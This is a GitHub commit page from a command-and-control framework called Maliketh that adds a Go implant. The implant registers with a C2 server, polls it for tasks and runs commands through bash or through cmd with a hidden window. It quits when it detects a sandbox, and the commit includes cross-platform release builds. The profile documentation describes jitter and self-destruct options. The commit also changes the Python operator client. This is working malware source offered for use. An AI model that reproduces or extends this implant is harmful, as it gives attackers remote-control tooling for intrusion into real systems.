Skip to content

Commit

Permalink
Add go implant
Browse files Browse the repository at this point in the history
commit 8d57c76
Author: Carter Brainerd <[email protected]>
Date:   Thu Nov 23 17:06:48 2023 -0500

    Fix cd client command

commit c8c50b5
Author: Carter Brainerd <[email protected]>
Date:   Thu Nov 23 16:52:42 2023 -0500

    Remove old files

commit 2a9fc76
Author: Carter Brainerd <[email protected]>
Date:   Thu Nov 23 16:51:36 2023 -0500

    Move go source to new folder and add more functionality

commit f7bd362
Author: Carter Brainerd <[email protected]>
Date:   Sun Nov 12 22:28:35 2023 -0500

    Basic handler stubs

commit cdf9e11
Author: Carter Brainerd <[email protected]>
Date:   Sat Nov 11 23:31:22 2023 -0500

    Tweak release build flags and implant name

commit 4ff22e4
Author: Carter Brainerd <[email protected]>
Date:   Sat Nov 11 18:07:22 2023 -0500

    Add initial go implant code
  • Loading branch information
cbrnrd committed Nov 23, 2023
1 parent 0aeec4c commit 0639f87
Show file tree
Hide file tree
Showing 44 changed files with 1,512 additions and 14 deletions.
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -10,3 +10,5 @@ implant/*.obj
.vscode/c_cpp_properties.json
.vscode/settings.json
client/*.json

implant/go_src/build/*
4 changes: 2 additions & 2 deletions client/cli/command.py
Original file line number Diff line number Diff line change
Expand Up @@ -259,8 +259,8 @@ def print_task_result(config: OperatorConfig, task_id: str) -> None:
try:
task = json.loads(decoded)
except Exception as e:
logger.warning("Result is not JSON, printing raw output")
print(decoded)
logger.debug("Result is not JSON, printing raw output")
print(str(decoded, "utf-8"))
return

print(tabulate(task.items(), headers=["Key", "Value"], tablefmt="fancy_grid"))
Expand Down
4 changes: 2 additions & 2 deletions client/cli/interact.py
Original file line number Diff line number Diff line change
Expand Up @@ -72,7 +72,7 @@ def handle(cmd: str, args: List[str], config: OperatorConfig, implant_id: str) -
handle_upload(config, implant_id, args)
elif cmd == "inject":
handle_inject(config, implant_id, args)
elif cmd == "cd":
elif cmd in ["cd", "chdir"]:
handle_cd(config, implant_id, args)
elif cmd == "pwd":
handle_pwd(config, implant_id)
Expand Down Expand Up @@ -368,7 +368,7 @@ def handle_ls(config: OperatorConfig, implant_id: str, args: List[str]) -> None:
logger.debug(f"Sending ls task to {implant_id}")
add_task(config, Opcodes.LS.value, implant_id, None)

def handle_getenv(config: OperatorConfig, implant_id: str, args: List[str]) -> None:
def handle_getenv(config: OperatorConfig, implant_id: str) -> None:
"""
Handle the getenv command, send a getenv task to the implant
"""
Expand Down
4 changes: 2 additions & 2 deletions client/cli/logging.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
import abc
from dataclasses import dataclass
from datetime import datetime
from prompt_toolkit.styles import Style
from prompt_toolkit.formatted_text import FormattedText
from prompt_toolkit import print_formatted_text
Expand Down Expand Up @@ -40,7 +40,7 @@ def to_lower(self) -> str:

@dataclass
class StyledLogger:
level: LogLevel = LogLevel.INFO
level: LogLevel
_style: Style = Style.from_dict(
{
"debug": "#ffaa00", # Orange
Expand Down
3 changes: 1 addition & 2 deletions client/comms.py
Original file line number Diff line number Diff line change
Expand Up @@ -183,7 +183,7 @@ def add_task(
if response.json()["status"] != True:
logger.error("Failed to add task")
return {}

logger.info(f"Dispatched task {response.json()['task']['task_id']}")
return response.json()["task"]
except Exception as e:
logger.error("Failed to add task")
Expand All @@ -203,7 +203,6 @@ def get_task_result(config: OperatorConfig, task_id: str) -> Optional[str]:
if response.json()["status"] != True:
logger.error("Failed to get task result")
return None

return response.json()["result"]
except Exception as e:
logger.error("Failed to get task result")
Expand Down
1 change: 1 addition & 0 deletions client/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@

# Globals
log_level: LogLevel = LogLevel.INFO
log_with_timestamps: bool = False

IMPLANT_DEFAULT_BUILD_OPTIONS = {
"initial_sleep_seconds": 180, # The number of seconds to sleep before the first checkin
Expand Down
2 changes: 2 additions & 0 deletions client/maliketh_client
Original file line number Diff line number Diff line change
Expand Up @@ -75,6 +75,8 @@ def main():
if opts.debug:
config.log_level = LogLevel.DEBUG

if opts.with_timestamps:
config.log_with_timestamps = True

with open(opts.config, "r") as f:
operator_config = config.OperatorConfig.from_json(f.read())
Expand Down
4 changes: 2 additions & 2 deletions client/rmq.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,8 +8,8 @@
def listen_for_messages_in_thread(op: OperatorConfig, cli_opts: Dict[str, Any]):
logger = get_styled_logger()
def callback(ch, method, properties, body):
msg = f"[{method.exchange}] {f'[{datetime.now()}]' if cli_opts.with_timestamps else ''} {body.decode()}"
logger.ok(f"[{method.exchange}] {body.decode()}")
msg = f"[{method.exchange}] {f'[{datetime.datetime.now()}] ' if cli_opts.with_timestamps else ''}{body.decode()}"
logger.ok(msg)

def listen_for_messages():
connection = pika.BlockingConnection(
Expand Down
21 changes: 20 additions & 1 deletion design/profile.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ Profiles are YAML files with three main top level directives: `client`, `server`
|--------|-------------|----------|------|
| `user_agent` | The user agent to use when making HTTP requests | Yes | String |
| `encoding` | The encoding to use when sending encrypted data to the C2. | Yes | One of: `base64`, `hex` |
| `sleep` | The number of seconds to sleep between each HTTP request | Yes | Integer |
| `sleep_time` | The number of seconds to sleep between each HTTP request | Yes | Integer |
| `jitter` | % jitter. The implant will sleep for a random amount of time between `sleep` and `sleep * (1 + jitter)` | Yes | Float, `[0, 0.99]` |
| `max_retries` | The maximum number of times to retry a request before giving up | Yes | Integer |
| `auto_self_destruct` | Whether or not to self destruct on failed checkins. If set to true, the implant will delete itself after `max_retries` failed checkins. | Yes | Boolean |
Expand All @@ -34,6 +34,25 @@ Profiles are YAML files with three main top level directives: `client`, `server`
| `tailoring_hash_function` | The hash function to use for payload tailoring. | Yes | One of: `sha256`, `md5` |
| `tailoring_hash_rounds` | The number of hash rounds to use for payload tailoring. | Yes | Integer |

#### Example JSON config

```json
{
"cookie": "SESSID",
"kill_date": "",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
"auto_self_destruct": true,
"sleep_time": 60,
"jitter": 0.1,
"max_retries": 3,
"retry_wait": 5,
"retry_jitter": 0.1,
"enc_key": "kX7tvu+8/ChkNuP2ScZRfz26OHde9DSfshaqSyIoEXY=",
"tailoring_hash_function": "sha256",
"tailoring_hash_rounds": 1,
"tailoring_hashes": []
}
```

### Server options

Expand Down
1 change: 1 addition & 0 deletions design/specs/implant-c2-http.md
Original file line number Diff line number Diff line change
Expand Up @@ -127,6 +127,7 @@ Example request:
```

If there is no output, set `output` to an empty string.
If you'd like the output to be displayed in a table, `output` should be a JSON object (still base64 encoded).

| Field | Purpose |
|:----- | :------ |
Expand Down
50 changes: 50 additions & 0 deletions go_implant/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
GO=go
GOFLAGS=
DEBUG ?= 1
BINARY=implant
MAIN=cmd/main.go
GOARCH ?= amd64

# If debug, append -debug to binary name
ifeq ($(DEBUG),1)
BINARY:=$(BINARY)-debug
else
BINARY:=$(BINARY)-release
endif

ifeq ($(DEBUG),1)
GOFLAGS:=$(GOFLAGS) -gcflags="all=-N -l" -ldflags="-X maliketh.config.DEBUG=true"
else
GOFLAGS:=$(GOFLAGS) -ldflags="-s -w -X maliketh.config.DEBUG=false" -trimpath
endif

default: native-debug

native-debug:
$(GO) build -gcflags="all=-N -l" -ldflags="-X maliketh.config.DEBUG=true" -o implant-dev-debug $(MAIN)

all: setup deps macos linux windows

setup:
mkdir -p build

deps:
$(GO) mod tidy

linux:
@/bin/echo -n "-----> Building Linux binary ($(GOARCH))... "
@GOOS=linux GOARCH=$(GOARCH) $(GO) build $(GOFLAGS) -o build/$(BINARY)-linux-amd64 $(MAIN)
@echo "DONE"

macos:
@/bin/echo -n "-----> Building MacOS binary ($(GOARCH))... "
@GOOS=darwin GOARCH=$(GOARCH) $(GO) build $(GOFLAGS) -o build/$(BINARY)-macos-amd64 $(MAIN)
@echo "DONE"

windows:
@/bin/echo -n "-----> Building Windows binary ($(GOARCH))... "
@GOOS=windows GOARCH=$(GOARCH) $(GO) build $(GOFLAGS) -o build/$(BINARY)-windows-amd64.exe $(MAIN)
@echo "DONE"

clean:
rm -rf build/*
23 changes: 23 additions & 0 deletions go_implant/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
# Maliketh Golang Implant

This directory contains the source code for the Golang implementation of the Maliketh implant.
Most functions are supported on Windows, macOS, and Linux.

Some functions were adapted from [Coldfire](https://github.com/redcode-labs/Coldfire).

## Differences between this and the C++ implant
The C++ implant is a bit more optimized for real world use. The golang implant **does not** have:

* Compiletime string obfuscation
* A small memory footprint
* A small binary size
* Scheduled task persistence


## TODO

* [] Register retries
* [] Persistence
* [] Do something "normal" when sandbox is detected


Binary file added go_implant/build/implant-release-linux-amd64
Binary file not shown.
Binary file added go_implant/build/implant-release-macos-amd64
Binary file not shown.
Binary file not shown.
49 changes: 49 additions & 0 deletions go_implant/cmd/main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
package main

import (
"fmt"
"maliketh/pkg/crypto"
"maliketh/pkg/implant"
. "maliketh/pkg/utils"
"maliketh/pkg/sandbox"
config "maliketh/pkg/config"
"time"
)

func main() {



if sandbox.SandboxAll() {
DebugPrintln("Sandbox detected, exiting...")
return
}

public, private, err := crypto.CreateBase64KeyPair()
if err != nil {
DebugPrintln("Error creating key pair")
return
}

DebugPrintln(fmt.Sprintf("Public key: %s", public))
DebugPrintln(fmt.Sprintf("Private key: %s", private))

profile, err := implant.Register(config.GetC2Url(), public, private)
if err != nil {
panic(err)
}
config.CurrentProfile = &profile

for {
time.Sleep(time.Duration(config.CurrentProfile.Config.Sleep) * time.Second)
task, err := implant.Checkin(config.GetC2Url(), *config.CurrentProfile)
if err != nil {
panic(err)
}
// DebugPrintln(fmt.Sprintf("Task ID: %s\n", task.TaskId))
// opcode := task.Opcode
// DebugPrintln(fmt.Sprintf("Opcode: %d\n", opcode))

go implant.Handle(config.GetC2Url(), task, *config.CurrentProfile)
}
}
19 changes: 19 additions & 0 deletions go_implant/go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
module maliketh

go 1.21.4

require (
emperror.dev/errors v0.8.1
github.com/davecgh/go-spew v1.1.1
github.com/denisbrodbeck/machineid v1.0.1
github.com/mitchellh/go-ps v1.0.0
golang.org/x/crypto v0.15.0
golang.org/x/sys v0.14.0
)

require (
github.com/pkg/errors v0.9.1 // indirect
github.com/stretchr/testify v1.8.4 // indirect
go.uber.org/atomic v1.7.0 // indirect
go.uber.org/multierr v1.6.0 // indirect
)
27 changes: 27 additions & 0 deletions go_implant/go.sum
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
emperror.dev/errors v0.8.1 h1:UavXZ5cSX/4u9iyvH6aDcuGkVjeexUGJ7Ij7G4VfQT0=
emperror.dev/errors v0.8.1/go.mod h1:YcRvLPh626Ubn2xqtoprejnA5nFha+TJ+2vew48kWuE=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/denisbrodbeck/machineid v1.0.1 h1:geKr9qtkB876mXguW2X6TU4ZynleN6ezuMSRhl4D7AQ=
github.com/denisbrodbeck/machineid v1.0.1/go.mod h1:dJUwb7PTidGDeYyUBmXZ2GphQBbjJCrnectwCyxcUSI=
github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
go.uber.org/atomic v1.7.0 h1:ADUqmZGgLDDfbSL9ZmPxKTybcoEYHgpYfELNoN+7hsw=
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
go.uber.org/multierr v1.6.0 h1:y6IPFStTAIT5Ytl7/XYmHvzXQ7S3g/IeZW9hyZ5thw4=
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
golang.org/x/crypto v0.15.0 h1:frVn1TEaCEaZcn3Tmd7Y2b5KKPaZ+I32Q2OA3kYp5TA=
golang.org/x/crypto v0.15.0/go.mod h1:4ChreQoLWfG3xLDer1WdlH5NdlQ3+mwnQq1YTKY+72g=
golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q=
golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
6 changes: 6 additions & 0 deletions go_implant/pkg/command/command.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
package command

// CmdOut executes a given command and returns its output.
func CmdOut(command string) (string, error) {
return cmdOut(command)
}
10 changes: 10 additions & 0 deletions go_implant/pkg/command/command_linux.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
package command

import "os/exec"

func cmdOut(command string) (string, error) {
cmd := exec.Command("bash", "-c", command)
output, err := cmd.CombinedOutput()
out := string(output)
return out, err
}
14 changes: 14 additions & 0 deletions go_implant/pkg/command/command_windows.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
package command

import (
"os/exec"
"syscall"
)

func cmdOut(command string) (string, error) {
cmd := exec.Command("cmd", "/C", command)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
output, err := cmd.CombinedOutput()
out := string(output)
return out, err
}
29 changes: 29 additions & 0 deletions go_implant/pkg/config/config.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
package config

import (
"fmt"
"maliketh/pkg/models"
)

const DEBUG = true

// !!!!!!!!!! CHANGE THESE !!!!!!!!! //
const C2_DOMAIN = "localhost"
const C2_PORT = 80
const C2_USE_TLS = false
const C2_REGISTER_PASSWORD = "SWh5bHhGOENYQWF1TW9KR3VTb0YwVkVWbDRud1RFaHc="

// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //

const INITIAL_SLEEP = 180
const REGISTER_USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)"

var CurrentProfile *models.MalleableProfile

func GetC2Url() string {
if C2_USE_TLS {
return fmt.Sprintf("https://%s:%d", C2_DOMAIN, C2_PORT)
} else {
return fmt.Sprintf("http://%s:%d", C2_DOMAIN, C2_PORT)
}
}
Loading

0 comments on commit 0639f87

Please sign in to comment.